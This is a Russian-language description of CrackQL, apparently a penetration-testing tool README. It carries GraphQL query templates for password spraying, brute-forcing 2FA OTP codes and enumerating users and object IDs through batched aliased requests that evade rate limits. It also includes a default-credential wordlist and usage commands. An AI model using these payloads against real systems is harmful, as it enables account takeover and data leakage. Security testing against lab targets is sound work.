
Инструмент для тестирования проникновения GraphQL, который использует слабые лимиты скорости и анализ затрат для подбора учетных данных, обхода 2FA, перечисления пользователей и фаззинга операций с помощью пакетных псевдонимных запросов.
CrackQL — это утилита для брутфорса паролей и фаззинга GraphQL.
CrackQL — универсальный инструмент для тестирования на проникновение GraphQL, который использует слабые ограничения скорости и контроля анализа стоимости для брутфорса учетных данных и фаззинга операций.
CrackQL автоматически группирует один GraphQL-запрос или мутацию в несколько псевдонимных операций. Он определяет количество псевдонимов на основе входных переменных из CSV. После программной генерации пакетного GraphQL-документа CrackQL отправляет полезные нагрузки целевому GraphQL API и анализирует результаты и ошибки.
CrackQL может использоваться для широкого спектра GraphQL-атак, поскольку программно генерирует полезные нагрузки на основе списка динамических входных данных.
В отличие от Burp Intruder, который отправляет запрос для каждой уникальной полезной нагрузки, CrackQL обходит традиционные механизмы защиты от мониторинга ограничения скорости HTTP API, используя несколько псевдонимных запросов для помещения больших наборов учетных данных в один HTTP-запрос. Для обхода защиты на основе анализа стоимости запросов CrackQL может быть оптимизирован для использования серии меньших пакетных операций (-b), а также временной задержки (-D).
CrackQL отлично подходит для развертываний GraphQL, использующих встроенные операции аутентификации GraphQL (например, GraphQL Authentication Module). Пример ниже с распылением паролей работает против DVGA со словарём sample-inputs/users-and-passwords.csv.
mutation {
login(username: {{username|str}}, password: {{password|str}}) {
accessToken
}
}
С помощью CrackQL можно обойти двухфакторную аутентификацию, отправив все токены OTP (одноразовые пароли).
sample-queries/otp-bypass.graphql
mutation {
twoFactor(otp: {{otp|int}}) {
accessToken
}
}
CrackQL также может использоваться для атак перечисления с целью обнаружения действительных идентификаторов пользователей, имён пользователей и адресов электронной почты.
sample-queries/enumeration.graphql
query {
signup(email: {{email|str}}, password: {{password|str}}) {
user {
email
}
}
}
CrackQL можно использовать для перебора большого количества потенциальных уникальных идентификаторов с целью утечки информации об объектах.
query {
profile(uuid: {{uuid|int}}) {
name
email
picture
}
}
CrackQL может использоваться для операций общего фаззинга ввода, например, отправки потенциальных полезных нагрузок SQLi и XSS.
CrackQL генерирует полезные нагрузки на основе входных переменных, определённых в CSV-файле. Требуется, чтобы заголовок CSV совпадал с именем входа.
sample-inputs/usernames_and_passwords.csv
username, password admin, admin admin, password admin, pass admin, pass123 admin, password123 operator, operator operator, password operator, pass operator, pass123 operator, password123
strintfloatgit clone [email protected]:nicholasaleks/CrackQL.git
pip install -r requirements.txt
python3 CrackQL.py -h
Usage: python3 CrackQL.py -t http://example.com/graphql -q sample-queries/login.graphql -i sample-inputs/usernames_and_passwords.csv
Options:
-h, --help show this help message and exit
-t URL, --target=URL Target url with a path to the GraphQL endpoint
-q QUERY, --query=QUERY
Input query or mutation operation with variable
payload markers
-i INPUT_CSV, --input-csv=INPUT_CSV
Path to a csv list of arguments (i.e. usernames,
emails, ids, passwords, otp_tokens, etc.)
-d DELIMITER, --delimiter=DELIMITER
CSV input delimiter (default: ",")
-o OUTPUT_DIRECTORY, --output-directory=OUTPUT_DIRECTORY
Output directory to store results (default:
./results/[domain]_[uuid]/
-b BATCH_SIZE, --batch-size=BATCH_SIZE
Number of batch operations per GraphQL document
request (default: 100)
-D DELAY, --delay=DELAY
Time delay in seconds between batch requests (default:
0)
--verbose Prints out verbose messaging
-v, --version Print out the current version and exit.
Используйте config.py для установки HTTP-куки, заголовков или прокси, если конечная точка требует аутентификации.